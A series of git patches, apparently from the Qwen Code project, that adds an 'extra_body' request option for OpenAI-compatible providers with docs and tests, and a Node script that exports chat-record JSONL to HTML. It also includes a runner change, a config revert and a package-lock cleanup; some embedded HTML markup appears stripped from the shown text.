extra_body merging in DashScopeOpenAICompatibleProvider - Update documentation with examples and provider compatibility notes - Note: This feature is only for OpenAI-compatible providers (openai, qwen-oauth) Resolves #1647 Resolves #1644 Co-authored-by: Qwen-Coder --- docs/users/configuration/settings.md | 34 ++++++---- packages/core/src/core/contentGenerator.ts | 2 + .../provider/dashscope.test.ts | 66 +++++++++++++++++++ .../provider/dashscope.ts | 4 ++ .../provider/default.test.ts | 43 ++++++++++++ .../provider/default.ts | 2 + packages/core/src/models/constants.ts | 1 + packages/core/src/models/types.ts | 1 + 8 files changed, 140 insertions(+), 13 deletions(-) diff --git a/docs/users/configuration/settings.md b/docs/users/configuration/settings.md index 9cbbe0387..7df625a69 100644 --- a/docs/users/configuration/settings.md +++ b/docs/users/configuration/settings.md @@ -96,18 +96,18 @@ Settings are organized into categories. All settings should be placed within the #### model -| Setting | Type | Description | Default | -| -------------------------------------------------- | ------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------- | -| `model.name` | string | The Qwen model to use for conversations. | `undefined` | -| `model.maxSessionTurns` | number | Maximum number of user/model/tool turns to keep in a session. -1 means unlimited. | `-1` | -| `model.summarizeToolOutput` | object | Enables or disables the summarization of tool output. You can specify the token budget for the summarization using the `tokenBudget` setting. Note: Currently only the `run_shell_command` tool is supported. For example `{"run_shell_command": {"tokenBudget": 2000}}` | `undefined` | -| `model.generationConfig` | object | Advanced overrides passed to the underlying content generator. Supports request controls such as `timeout`, `maxRetries`, `disableCacheControl`, and `customHeaders` (custom HTTP headers for API requests), along with fine-tuning knobs under `samplingParams` (for example `temperature`, `top_p`, `max_tokens`). Leave unset to rely on provider defaults. | `undefined` | -| `model.chatCompression.contextPercentageThreshold` | number | Sets the threshold for chat history compression as a percentage of the model's total token limit. This is a value between 0 and 1 that applies to both automatic compression and the manual `/compress` command. For example, a value of `0.6` will trigger compression when the chat history exceeds 60% of the token limit. Use `0` to disable compression entirely. | `0.7` | -| `model.skipNextSpeakerCheck` | boolean | Skip the next speaker check. | `false` | -| `model.skipLoopDetection` | boolean | Disables loop detection checks. Loop detection prevents infinite loops in AI responses but can generate false positives that interrupt legitimate workflows. Enable this option if you experience frequent false positive loop detection interruptions. | `false` | -| `model.skipStartupContext` | boolean | Skips sending the startup workspace context (environment summary and acknowledgement) at the beginning of each session. Enable this if you prefer to provide context manually or want to save tokens on startup. | `false` | -| `model.enableOpenAILogging` | boolean | Enables logging of OpenAI API calls for debugging and analysis. When enabled, API requests and responses are logged to JSON files. | `false` | -| `model.openAILoggingDir` | string | Custom directory path for OpenAI API logs. If not specified, defaults to `logs/openai` in the current working directory. Supports absolute paths, relative paths (resolved from current working directory), and `~` expansion (home directory). | `undefined` | +| Setting | Type | Description | Default | +| -------------------------------------------------- | ------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------- | +| `model.name` | string | The Qwen model to use for conversations. | `undefined` | +| `model.maxSessionTurns` | number | Maximum number of user/model/tool turns to keep in a session. -1 means unlimited. | `-1` | +| `model.summarizeToolOutput` | object | Enables or disables the summarization of tool output. You can specify the token budget for the summarization using the `tokenBudget` setting. Note: Currently only the `run_shell_command` tool is supported. For example `{"run_shell_command": {"tokenBudget": 2000}}` | `undefined` | +| `model.generationConfig` | object | Advanced overrides passed to the underlying content generator. Supports request controls such as `timeout`, `maxRetries`, `disableCacheControl`, `customHeaders` (custom HTTP headers for API requests), and `extra_body` (additional body parameters for OpenAI-compatible API requests only), along with fine-tuning knobs under `samplingParams` (for example `temperature`, `top_p`, `max_tokens`). Leave unset to rely on provider defaults. | `undefined` | +| `model.chatCompression.contextPercentageThreshold` | number | Sets the threshold for chat history compression as a percentage of the model's total token limit. This is a value between 0 and 1 that applies to both automatic compression and the manual `/compress` command. For example, a value of `0.6` will trigger compression when the chat history exceeds 60% of the token limit. Use `0` to disable compression entirely. | `0.7` | +| `model.skipNextSpeakerCheck` | boolean | Skip the next speaker check. | `false` | +| `model.skipLoopDetection` | boolean | Disables loop detection checks. Loop detection prevents infinite loops in AI responses but can generate false positives that interrupt legitimate workflows. Enable this option if you experience frequent false positive loop detection interruptions. | `false` | +| `model.skipStartupContext` | boolean | Skips sending the startup workspace context (environment summary and acknowledgement) at the beginning of each session. Enable this if you prefer to provide context manually or want to save tokens on startup. | `false` | +| `model.enableOpenAILogging` | boolean | Enables logging of OpenAI API calls for debugging and analysis. When enabled, API requests and responses are logged to JSON files. | `false` | +| `model.openAILoggingDir` | string | Custom directory path for OpenAI API logs. If not specified, defaults to `logs/openai` in the current working directory. Supports absolute paths, relative paths (resolved from current working directory), and `~` expansion (home directory). | `undefined` | **Example model.generationConfig:** @@ -121,6 +121,9 @@ Settings are organized into categories. All settings should be placed within the "X-Request-ID": "req-123", "X-User-ID": "user-456" }, + "extra_body": { + "enable_thinking": true + }, "samplingParams": { "temperature": 0.2, "top_p": 0.8, @@ -133,6 +136,8 @@ Settings are organized into categories. All settings should be placed within the The `customHeaders` field allows you to add custom HTTP headers to all API requests. This is useful for request tracing, monitoring, API gateway routing, or when different models require different headers. If `customHeaders` is defined in `modelProviders[].generationConfig.customHeaders`, it will be used directly; otherwise, headers from `model.generationConfig.customHeaders` will be used. No merging occurs between the two levels. +The `extra_body` field allows you to add custom parameters to the request body sent to the API. This is useful for provider-specific options that are not covered by the standard configuration fields. **Note: This field is only supported for OpenAI-compatible providers (`openai`, `qwen-oauth`). It is ignored for Anthropic and Gemini providers.** If `extra_body` is defined in `modelProviders[].generationConfig.extra_body`, it will be used directly; otherwise, values from `model.generationConfig.extra_body` will be used. + **model.openAILoggingDir examples:** - `"~/qwen-logs"` - Logs to `~/qwen-logs` directory @@ -161,6 +166,9 @@ Use `modelProviders` to declare curated model lists per auth type that the `/mod "X-Model-Version": "v1.0", "X-Request-Priority": "high" }, + "extra_body": { + "enable_thinking": true + }, "samplingParams": { "temperature": 0.2 } } } @@ -222,7 +230,7 @@ Per-field precedence for `generationConfig`: 3. `settings.model.generationConfig` 4. Content-generator defaults (`getDefaultGenerationConfig` for OpenAI, `getParameterValue` for Gemini, etc.) -`samplingParams` and `customHeaders` are both treated atomically; provider values replace the entire object. If `modelProviders[].generationConfig` defines these fields, they are used directly; otherwise, values from `model.generationConfig` are used. No merging occurs between provider and global configuration levels. Defaults from the content generator apply last so each provider retains its tuned baseline. +`samplingParams`, `customHeaders`, and `extra_body` are all treated atomically; provider values replace the entire object. If `modelProviders[].generationConfig` defines these fields, they are used directly; otherwise, values from `model.generationConfig` are used. No merging occurs between provider and global configuration levels. Defaults from the content generator apply last so each provider retains its tuned baseline. ##### Selection persistence and recommendations diff --git a/packages/core/src/core/contentGenerator.ts b/packages/core/src/core/contentGenerator.ts index 8849400a5..aaa76e396 100644 --- a/packages/core/src/core/contentGenerator.ts +++ b/packages/core/src/core/contentGenerator.ts @@ -93,6 +93,8 @@ export type ContentGeneratorConfig = { schemaCompliance?: 'auto' | 'openapi_30'; // Custom HTTP headers to be sent with requests customHeaders?: Record; + // Extra body parameters to be merged into the request body + extra_body?: Record; }; // Keep the public ContentGeneratorConfigSources API, but reuse the generic diff --git a/packages/core/src/core/openaiContentGenerator/provider/dashscope.test.ts b/packages/core/src/core/openaiContentGenerator/provider/dashscope.test.ts index 09f4c83ca..107c2fcba 100644 --- a/packages/core/src/core/openaiContentGenerator/provider/dashscope.test.ts +++ b/packages/core/src/core/openaiContentGenerator/provider/dashscope.test.ts @@ -929,5 +929,71 @@ describe('DashScopeOpenAICompatibleProvider', () => { expect(result.max_tokens).toBe(65536); // Should be limited expect(result.stream).toBe(true); // Streaming should be preserved }); + + it('should merge extra_body into the request', () => { + const providerWithExtraBody = new DashScopeOpenAICompatibleProvider( + { + ...mockContentGeneratorConfig, + extra_body: { + custom_param: 'custom_value', + nested: { key: 'value' }, + }, + }, + mockCliConfig, + ); + + const request: OpenAI.Chat.ChatCompletionCreateParams = { + model: 'qwen3-coder-plus', + messages: [{ role: 'user', content: 'Hello' }], + }; + + const result = providerWithExtraBody.buildRequest( + request, + 'test-prompt-id', + ); + + // eslint-disable-next-line @typescript-eslint/no-explicit-any + expect((result as any).custom_param).toBe('custom_value'); + // eslint-disable-next-line @typescript-eslint/no-explicit-any + expect((result as any).nested).toEqual({ key: 'value' }); + }); + + it('should merge extra_body into vision model requests', () => { + const providerWithExtraBody = new DashScopeOpenAICompatibleProvider( + { + ...mockContentGeneratorConfig, + extra_body: { + custom_param: 'custom_value', + }, + }, + mockCliConfig, + ); + + const request: OpenAI.Chat.ChatCompletionCreateParams = { + model: 'qwen-vl-max', + messages: [{ role: 'user', content: 'Hello' }], + }; + + const result = providerWithExtraBody.buildRequest( + request, + 'test-prompt-id', + ); + + // eslint-disable-next-line @typescript-eslint/no-explicit-any + expect((result as any).custom_param).toBe('custom_value'); + // eslint-disable-next-line @typescript-eslint/no-explicit-any + expect((result as any).vl_high_resolution_images).toBe(true); + }); + + it('should not include extra_body when not configured', () => { + const request: OpenAI.Chat.ChatCompletionCreateParams = { + model: 'qwen3-coder-plus', + messages: [{ role: 'user', content: 'Hello' }], + }; + + const result = provider.buildRequest(request, 'test-prompt-id'); + + expect(result).not.toHaveProperty('custom_param'); + }); }); }); diff --git a/packages/core/src/core/openaiContentGenerator/provider/dashscope.ts b/packages/core/src/core/openaiContentGenerator/provider/dashscope.ts index 0a8458e0a..5ebccdf8f 100644 --- a/packages/core/src/core/openaiContentGenerator/provider/dashscope.ts +++ b/packages/core/src/core/openaiContentGenerator/provider/dashscope.ts @@ -124,6 +124,8 @@ export class DashScopeOpenAICompatibleProvider request.model, ); + const extraBody = this.contentGeneratorConfig.extra_body; + if (this.isVisionModel(request.model)) { return { ...requestWithTokenLimits, @@ -132,6 +134,7 @@ export class DashScopeOpenAICompatibleProvider ...(this.buildMetadata(userPromptId) || {}), /* @ts-expect-error dashscope exclusive */ vl_high_resolution_images: true, + ...(extraBody ? extraBody : {}), } as OpenAI.Chat.ChatCompletionCreateParams; } @@ -140,6 +143,7 @@ export class DashScopeOpenAICompatibleProvider messages, ...(tools ? { tools } : {}), ...(this.buildMetadata(userPromptId) || {}), + ...(extraBody ? extraBody : {}), } as OpenAI.Chat.ChatCompletionCreateParams; } diff --git a/packages/core/src/core/openaiContentGenerator/provider/default.test.ts b/packages/core/src/core/openaiContentGenerator/provider/default.test.ts index fc921c7c0..cc227b464 100644 --- a/packages/core/src/core/openaiContentGenerator/provider/default.test.ts +++ b/packages/core/src/core/openaiContentGenerator/provider/default.test.ts @@ -261,5 +261,48 @@ describe('DefaultOpenAICompatibleProvider', () => { // Result should be a different object expect(result).not.toBe(originalRequest); }); + + it('should merge extra_body into the request', () => { + const providerWithExtraBody = new DefaultOpenAICompatibleProvider( + { + ...mockContentGeneratorConfig, + extra_body: { + custom_param: 'custom_value', + nested: { key: 'value' }, + }, + } as ContentGeneratorConfig, + mockCliConfig, + ); + + const originalRequest: OpenAI.Chat.ChatCompletionCreateParams = { + model: 'gpt-4', + messages: [{ role: 'user', content: 'Hello' }], + temperature: 0.7, + }; + + const result = providerWithExtraBody.buildRequest( + originalRequest, + 'prompt-id', + ); + + expect(result).toEqual({ + ...originalRequest, + custom_param: 'custom_value', + nested: { key: 'value' }, + }); + }); + + it('should not include extra_body when not configured', () => { + const originalRequest: OpenAI.Chat.ChatCompletionCreateParams = { + model: 'gpt-4', + messages: [{ role: 'user', content: 'Hello' }], + temperature: 0.7, + }; + + const result = provider.buildRequest(originalRequest, 'prompt-id'); + + expect(result).toEqual(originalRequest); + expect(result).not.toHaveProperty('custom_param'); + }); }); }); diff --git a/packages/core/src/core/openaiContentGenerator/provider/default.ts b/packages/core/src/core/openaiContentGenerator/provider/default.ts index b7d8644c9..d865a89f2 100644 --- a/packages/core/src/core/openaiContentGenerator/provider/default.ts +++ b/packages/core/src/core/openaiContentGenerator/provider/default.ts @@ -64,9 +64,11 @@ export class DefaultOpenAICompatibleProvider request: OpenAI.Chat.ChatCompletionCreateParams, _userPromptId: string, ): OpenAI.Chat.ChatCompletionCreateParams { + const extraBody = this.contentGeneratorConfig.extra_body; // Default provider doesn't need special enhancements, just pass through all parameters return { ...request, // Preserve all original parameters including sampling params + ...(extraBody ? extraBody : {}), }; } diff --git a/packages/core/src/models/constants.ts b/packages/core/src/models/constants.ts index e4c8ad729..75552b55d 100644 --- a/packages/core/src/models/constants.ts +++ b/packages/core/src/models/constants.ts @@ -26,6 +26,7 @@ export const MODEL_GENERATION_CONFIG_FIELDS = [ 'schemaCompliance', 'reasoning', 'customHeaders', + 'extra_body', ] as const satisfies ReadonlyArray; /** diff --git a/packages/core/src/models/types.ts b/packages/core/src/models/types.ts index c8360e158..f6987d89a 100644 --- a/packages/core/src/models/types.ts +++ b/packages/core/src/models/types.ts @@ -32,6 +32,7 @@ export type ModelGenerationConfig = Pick< | 'schemaCompliance' | 'reasoning' | 'customHeaders' + | 'extra_body' >; /** From 2259943f85a3ce3f8896c50726f6b49d9753d6e0 Mon Sep 17 00:00:00 2001 From: pomelo-nwu Date: Thu, 29 Jan 2026 13:27:18 +0800 Subject: [PATCH 76/79] feat: update export html --- .../export-html-from-chatrecord-jsonl.js | 922 ++++++++++++++++++ integration-tests/concurrent-runner/runner.py | 39 +- 2 files changed, 936 insertions(+), 25 deletions(-) create mode 100644 integration-tests/concurrent-runner/export-html-from-chatrecord-jsonl.js diff --git a/integration-tests/concurrent-runner/export-html-from-chatrecord-jsonl.js b/integration-tests/concurrent-runner/export-html-from-chatrecord-jsonl.js new file mode 100644 index 000000000..6c724331f --- /dev/null +++ b/integration-tests/concurrent-runner/export-html-from-chatrecord-jsonl.js @@ -0,0 +1,922 @@ +#!/usr/bin/env node +/** + * @license + * Copyright 2025 Qwen Team + * SPDX-License-Identifier: Apache-2.0 + */ + +import fs from 'node:fs'; +import fsp from 'node:fs/promises'; +import path from 'node:path'; +import readline from 'node:readline'; + +const FAVICON_SVG = + ''; + +const HTML_TEMPLATE = ` + + + + + + + Qwen Code Chat Export + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
${FAVICON_SVG}
+ +
+
+
+ Session Id + - +
+
+ Export Time + - +
+
+
+ +
+
+ + + + + + + +`; + +function escapeJsonForHtml(json) { + return json + .replace(/&/g, '\\u0026') + .replace(//g, '\\u003e'); +} + +function injectDataIntoHtmlTemplate(template, data) { + const jsonData = JSON.stringify(data, null, 2); + const escapedJsonData = escapeJsonForHtml(jsonData); + return template.replace( + /`, + ); +} + +function toHtml(sessionData) { + return injectDataIntoHtmlTemplate(HTML_TEMPLATE, sessionData); +} + +function printUsage(exitCode) { + const msg = ` +Usage: + node scripts/export-html-from-chatrecord-jsonl.js [--out ] + node scripts/export-html-from-chatrecord-jsonl.js - [--out ] + +Notes: + - Input JSONL is expected to be "one ChatRecord per line". + - For convenience, this also supports JSONL generated by the existing "toJsonl" formatter + (first line is { type: "session_metadata", ... } then one ExportMessage per line). +`; + console.error(msg.trimEnd()); + process.exit(exitCode); +} + +function parseArgs(argv) { + const out = { + input: null, + output: null, + }; + + const args = argv.slice(2); + if (args.length === 0) return out; + + out.input = args[0] ?? null; + for (let i = 1; i < args.length; i += 1) { + const a = args[i]; + if (a === '--out' || a === '-o') { + out.output = args[i + 1] ?? null; + i += 1; + continue; + } + if (a === '--help' || a === '-h') { + printUsage(0); + } + } + return out; +} + +function safeJsonParse(line) { + try { + return JSON.parse(line); + } catch (e) { + const message = e instanceof Error ? e.message : String(e); + throw new Error( + `Invalid JSONL line: ${message}\nLine: ${line.slice(0, 200)}`, + ); + } +} + +async function readJsonlObjects(inputPath) { + const objects = []; + + const inputStream = + inputPath === '-' + ? process.stdin + : fs.createReadStream(inputPath, { encoding: 'utf8' }); + + const rl = readline.createInterface({ + input: inputStream, + crlfDelay: Infinity, + }); + + for await (const rawLine of rl) { + const line = String(rawLine).trim(); + if (!line) continue; + objects.push(safeJsonParse(line)); + } + + return objects; +} + +function looksLikeChatRecord(obj) { + if (!obj || typeof obj !== 'object') return false; + const r = obj; + return ( + typeof r.uuid === 'string' && + 'parentUuid' in r && + typeof r.sessionId === 'string' && + typeof r.timestamp === 'string' && + typeof r.type === 'string' && + typeof r.cwd === 'string' && + typeof r.version === 'string' + ); +} + +function looksLikeExportJsonl(objects) { + if (!Array.isArray(objects) || objects.length === 0) return false; + const first = objects[0]; + return ( + !!first && + typeof first === 'object' && + first.type === 'session_metadata' && + typeof first.sessionId === 'string' && + typeof first.startTime === 'string' + ); +} + +function computeStartTimeFromRecords(records) { + let min = Number.POSITIVE_INFINITY; + for (const r of records) { + const t = Date.parse(r.timestamp); + if (Number.isFinite(t)) min = Math.min(min, t); + } + if (!Number.isFinite(min)) { + return new Date().toISOString(); + } + return new Date(min).toISOString(); +} + +function extractToolNameFromRecord(record) { + const parts = record?.message?.parts; + if (!Array.isArray(parts)) return ''; + for (const part of parts) { + if (part && typeof part === 'object' && 'functionResponse' in part) { + const fr = part.functionResponse; + if (fr && typeof fr === 'object' && typeof fr.name === 'string') { + return fr.name; + } + } + } + return ''; +} + +const TOOL_NAME_MIGRATION = { + search_file_content: 'grep_search', + replace: 'edit', +}; + +const TOOL_DISPLAY_NAME_BY_NAME = { + edit: 'Edit', + write_file: 'WriteFile', + read_file: 'ReadFile', + read_many_files: 'ReadManyFiles', + grep_search: 'Grep', + glob: 'Glob', + run_shell_command: 'Shell', + todo_write: 'TodoWrite', + save_memory: 'SaveMemory', + task: 'Task', + skill: 'Skill', + exit_plan_mode: 'ExitPlanMode', + web_fetch: 'WebFetch', + web_search: 'WebSearch', + list_directory: 'ListFiles', +}; + +const TOOL_KIND_BY_NAME = { + read_file: 'read', + read_many_files: 'read', + skill: 'read', + edit: 'edit', + write_file: 'edit', + write: 'edit', + delete: 'delete', + move: 'move', + rename: 'move', + grep_search: 'search', + glob: 'search', + web_search: 'search', + list_directory: 'search', + run_shell_command: 'execute', + bash: 'execute', + web_fetch: 'fetch', + todo_write: 'think', + save_memory: 'think', + plan: 'think', + exit_plan_mode: 'switch_mode', + task: 'other', +}; + +function normalizeToolName(toolName) { + if (!toolName) return ''; + return TOOL_NAME_MIGRATION[toolName] ?? toolName; +} + +function resolveToolKind(toolName) { + const normalizedName = normalizeToolName(toolName); + return TOOL_KIND_BY_NAME[normalizedName] ?? 'other'; +} + +function resolveToolTitle(toolName) { + const normalizedName = normalizeToolName(toolName); + return ( + TOOL_DISPLAY_NAME_BY_NAME[normalizedName] ?? normalizedName ?? 'tool_call' + ); +} + +function normalizeRawInput(value) { + if (typeof value === 'string') return value; + if (typeof value === 'object' && value !== null) return value; + return undefined; +} + +function extractDiffContent(resultDisplay) { + if (!resultDisplay || typeof resultDisplay !== 'object') return null; + const display = resultDisplay; + if ('fileName' in display && 'newContent' in display) { + return [ + { + type: 'diff', + path: display.fileName, + oldText: display.originalContent ?? '', + newText: display.newContent, + }, + ]; + } + return null; +} + +function transformPartsToToolCallContent(parts) { + const content = []; + for (const part of parts ?? []) { + if (part && typeof part === 'object' && 'text' in part && part.text) { + content.push({ + type: 'content', + content: { type: 'text', text: part.text }, + }); + continue; + } + + if ( + part && + typeof part === 'object' && + 'functionResponse' in part && + part.functionResponse + ) { + const fr = part.functionResponse; + const response = + fr.response && typeof fr.response === 'object' ? fr.response : {}; + const outputField = response.output; + const errorField = response.error; + const responseText = + typeof outputField === 'string' + ? outputField + : typeof errorField === 'string' + ? errorField + : JSON.stringify(response); + content.push({ + type: 'content', + content: { type: 'text', text: responseText }, + }); + } + } + return content; +} + +function mergeToolCallData(existing, incoming) { + if (!existing.content || existing.content.length === 0) { + existing.content = incoming.content; + } + if (existing.status === 'pending' || existing.status === 'in_progress') { + existing.status = incoming.status; + } + if (!existing.rawInput && incoming.rawInput) { + existing.rawInput = incoming.rawInput; + } + if ((!existing.title || existing.title === '') && incoming.title) { + existing.title = incoming.title; + } + if ((!existing.kind || existing.kind === 'other') && incoming.kind) { + existing.kind = incoming.kind; + } + if ( + (!existing.locations || existing.locations.length === 0) && + incoming.locations?.length + ) { + existing.locations = incoming.locations; + } + if (!existing.timestamp && incoming.timestamp) { + existing.timestamp = incoming.timestamp; + } +} + +function convertChatRecordsToSessionData(records) { + if (!Array.isArray(records) || records.length === 0) { + return { + sessionId: 'unknown-session', + startTime: new Date().toISOString(), + messages: [], + }; + } + + const sessionId = records[0]?.sessionId ?? 'unknown-session'; + const startTime = computeStartTimeFromRecords(records); + + const messages = []; + const toolCallIndexById = new Map(); + + let currentMessage = null; + function flushCurrentMessage() { + if (!currentMessage) return; + messages.push({ + uuid: currentMessage.uuid, + parentUuid: currentMessage.parentUuid, + sessionId: currentMessage.sessionId, + timestamp: currentMessage.timestamp, + type: currentMessage.type, + message: { + role: currentMessage.role, + parts: currentMessage.parts, + }, + model: currentMessage.model, + }); + currentMessage = null; + } + + function handleMessageChunk( + record, + roleType, + content, + messageRole = roleType, + ) { + if (!content || content.type !== 'text' || !content.text) return; + if ( + currentMessage && + (currentMessage.type !== roleType || currentMessage.role !== messageRole) + ) { + flushCurrentMessage(); + } + + if ( + currentMessage && + currentMessage.type === roleType && + currentMessage.role === messageRole + ) { + currentMessage.parts.push({ text: content.text }); + return; + } + + currentMessage = { + uuid: record.uuid, + parentUuid: record.parentUuid, + sessionId: record.sessionId, + timestamp: record.timestamp, + type: roleType, + role: messageRole, + parts: [{ text: content.text }], + model: record.model, + }; + } + + function addOrMergeToolCallMessage(toolCallMessage) { + const id = toolCallMessage?.toolCall?.toolCallId; + if (!id) { + messages.push(toolCallMessage); + return; + } + + const existingIndex = toolCallIndexById.get(id); + if (existingIndex === undefined) { + toolCallIndexById.set(id, messages.length); + messages.push(toolCallMessage); + return; + } + + const existing = messages[existingIndex]; + if (!existing || existing.type !== 'tool_call' || !existing.toolCall) { + return; + } + mergeToolCallData(existing.toolCall, toolCallMessage.toolCall); + } + + for (const record of records) { + if (!record || typeof record !== 'object') continue; + switch (record.type) { + case 'user': { + for (const part of record.message?.parts ?? []) { + if (part && typeof part === 'object' && 'text' in part && part.text) { + handleMessageChunk( + record, + 'user', + { type: 'text', text: part.text }, + 'user', + ); + } + } + break; + } + + case 'assistant': { + for (const part of record.message?.parts ?? []) { + if (part && typeof part === 'object' && 'text' in part && part.text) { + const isThought = (part.thought ?? false) === true; + handleMessageChunk( + record, + 'assistant', + { type: 'text', text: part.text }, + isThought ? 'thinking' : 'assistant', + ); + continue; + } + + if ( + part && + typeof part === 'object' && + 'functionCall' in part && + part.functionCall + ) { + flushCurrentMessage(); + const fc = part.functionCall; + const toolName = normalizeToolName( + typeof fc.name === 'string' ? fc.name : '', + ); + // Match ToolCallEmitter behavior: skip tool_call start event for todo_write. + if (toolName === 'todo_write') { + continue; + } + const toolCallId = + typeof fc.id === 'string' && fc.id + ? fc.id + : `${toolName || 'tool'}-${record.uuid}`; + const toolCallMessage = { + uuid: record.uuid, + parentUuid: record.parentUuid, + sessionId: record.sessionId, + timestamp: record.timestamp, + type: 'tool_call', + toolCall: { + toolCallId, + kind: resolveToolKind(toolName), + title: resolveToolTitle(toolName), + status: 'in_progress', + rawInput: normalizeRawInput(fc.args), + timestamp: Date.parse(record.timestamp), + }, + }; + addOrMergeToolCallMessage(toolCallMessage); + } + } + break; + } + + case 'tool_result': { + flushCurrentMessage(); + + const toolCallResult = record.toolCallResult ?? {}; + const toolCallId = toolCallResult.callId ?? record.uuid; + const toolName = normalizeToolName(extractToolNameFromRecord(record)); + const rawInput = normalizeRawInput(toolCallResult.args); + + const content = + extractDiffContent(toolCallResult.resultDisplay) ?? + transformPartsToToolCallContent(record.message?.parts ?? []); + + const toolCallMessage = { + uuid: record.uuid, + parentUuid: record.parentUuid, + sessionId: record.sessionId, + timestamp: record.timestamp, + type: 'tool_call', + toolCall: { + toolCallId, + kind: resolveToolKind(toolName), + title: resolveToolTitle(toolName), + status: toolCallResult.error ? 'failed' : 'completed', + rawInput, + content, + timestamp: Date.parse(record.timestamp), + }, + }; + + addOrMergeToolCallMessage(toolCallMessage); + break; + } + + default: { + // Skip system records or unknown types. + break; + } + } + } + + flushCurrentMessage(); + + return { sessionId, startTime, messages }; +} + +function buildSessionDataFromExportJsonl(objects) { + const first = objects[0]; + const sessionId = first.sessionId; + const startTime = first.startTime; + const messages = objects.slice(1); + return { sessionId, startTime, messages }; +} + +function defaultOutPathForInput(inputPath) { + if (!inputPath || inputPath === '-') + return path.resolve(process.cwd(), 'export.html'); + const base = path.basename(inputPath, path.extname(inputPath)); + const dir = path.dirname(inputPath); + return path.resolve(dir, `${base}.html`); +} + +async function main() { + const { input, output } = parseArgs(process.argv); + if (!input) { + printUsage(1); + } + + const objects = await readJsonlObjects(input); + if (objects.length === 0) { + throw new Error('Input JSONL is empty.'); + } + + let sessionData; + if (looksLikeExportJsonl(objects)) { + sessionData = buildSessionDataFromExportJsonl(objects); + } else if (objects.every(looksLikeChatRecord)) { + sessionData = convertChatRecordsToSessionData(objects); + } else if (objects.some(looksLikeChatRecord)) { + // Mixed input: keep only ChatRecord-like entries for best-effort export. + const records = objects.filter(looksLikeChatRecord); + sessionData = convertChatRecordsToSessionData(records); + } else { + throw new Error( + 'Unrecognized JSONL format (expected ChatRecord-per-line).', + ); + } + + const html = toHtml(sessionData); + const outPath = output ? path.resolve(output) : defaultOutPathForInput(input); + + await fsp.mkdir(path.dirname(outPath), { recursive: true }); + await fsp.writeFile(outPath, html, 'utf8'); + console.log(`Wrote HTML export to: ${outPath}`); +} + +main().catch((err) => { + const message = err instanceof Error ? err.message : String(err); + console.error(message); + process.exitCode = 1; +}); diff --git a/integration-tests/concurrent-runner/runner.py b/integration-tests/concurrent-runner/runner.py index 32a81e2ad..c27a221e0 100644 --- a/integration-tests/concurrent-runner/runner.py +++ b/integration-tests/concurrent-runner/runner.py @@ -316,34 +316,23 @@ class GitWorktreeManager: self.console.print(f"[dim]Session log copied: {session_log.name}[/dim]") - # Generate rendered HTML + # Generate rendered HTML using the JS exporter script rendered_html_path = chats_output_dir / f"{session_id}.html" try: - template_path = Path(__file__).parent / "render-chat-temp.html" - if template_path.exists(): - async with aiofiles.open(template_path, 'r') as f: - template_content = await f.read() - - chat_data = { - "sessionId": session_id, - "startTime": start_time or datetime.now().isoformat(), - "messages": messages - } - - # Simple string replacement for injection - # The template has - placeholder = ' to prevent breaking the HTML script tag - json_str = json_str.replace('', '<\\/script>') - injection = f'{placeholder}\n{json_str}\n' - rendered_content = template_content.replace(placeholder, injection) - - async with aiofiles.open(rendered_html_path, 'w') as f: - await f.write(rendered_content) - self.console.print(f"[dim]Rendered chat HTML saved: {rendered_html_path.name}[/dim]") + exporter_script = Path(__file__).parent / "export-html-from-chatrecord-jsonl.js" + if exporter_script.exists(): + # Call the JS script to generate the HTML + result = await self._run_command( + ["node", str(exporter_script), str(output_log)], + cwd=exporter_script.parent, + timeout=30 + ) + if result.returncode == 0: + self.console.print(f"[dim]Rendered chat HTML saved: {rendered_html_path.name}[/dim]") + else: + self.console.print(f"[yellow]Warning: HTML exporter failed: {result.stderr}[/yellow]") else: - self.console.print(f"[yellow]Warning: Chat template not found at {template_path}[/yellow]") + self.console.print(f"[yellow]Warning: HTML exporter script not found at {exporter_script}[/yellow]") except Exception as e: self.console.print(f"[yellow]Warning: Failed to render chat HTML: {e}[/yellow]") From 9f3cfb361a6da4a5e65ca2dd2e05a7c8653af2ae Mon Sep 17 00:00:00 2001 From: yiliang114 <1204183885@qq.com> Date: Thu, 29 Jan 2026 14:22:54 +0800 Subject: [PATCH 77/79] chore(lsp): revert old code --- packages/cli/src/config/config.ts | 13 ------------- 1 file changed, 13 deletions(-) diff --git a/packages/cli/src/config/config.ts b/packages/cli/src/config/config.ts index 26509c141..d4752d4be 100755 --- a/packages/cli/src/config/config.ts +++ b/packages/cli/src/config/config.ts @@ -724,19 +724,6 @@ export async function loadCliConfig( .map(resolvePath) .concat((argv.includeDirectories || []).map(resolvePath)); - // Call the (now wrapper) loadHierarchicalGeminiMemory which calls the server's version - const extensionContextFilePaths: string[] = []; - - await loadHierarchicalGeminiMemory( - cwd, - settings.context?.loadFromIncludeDirectories ? includeDirectories : [], - debugMode, - fileService, - extensionContextFilePaths, - trustedFolder, - settings.context?.importFormat || 'tree', - ); - // LSP configuration: enabled only via --experimental-lsp flag const lspEnabled = argv.experimentalLsp === true; let lspClient: LspClient | undefined; From 5475ab6bbd7c9b52cf3dc0b8c87e08b616157b8c Mon Sep 17 00:00:00 2001 From: "mingholy.lmh" Date: Thu, 29 Jan 2026 16:44:50 +0800 Subject: [PATCH 78/79] fix: inconsistency of react/react-dom version in package.json and lockfile --- package-lock.json | 393 ++------------------- packages/vscode-ide-companion/package.json | 10 +- 2 files changed, 34 insertions(+), 369 deletions(-) diff --git a/package-lock.json b/package-lock.json index 590630a59..4c4f94db8 100644 --- a/package-lock.json +++ b/package-lock.json @@ -2442,338 +2442,6 @@ "node": ">=14" } }, - "node_modules/@parcel/watcher": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/@parcel/watcher/-/watcher-2.5.1.tgz", - "integrity": "sha512-dfUnCxiN9H4ap84DvD2ubjw+3vUNpstxa0TneY/Paat8a3R4uQZDLSvWjmznAY/DoahqTHl9V46HF/Zs3F29pg==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "dependencies": { - "detect-libc": "^1.0.3", - "is-glob": "^4.0.3", - "micromatch": "^4.0.5", - "node-addon-api": "^7.0.0" - }, - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - }, - "optionalDependencies": { - 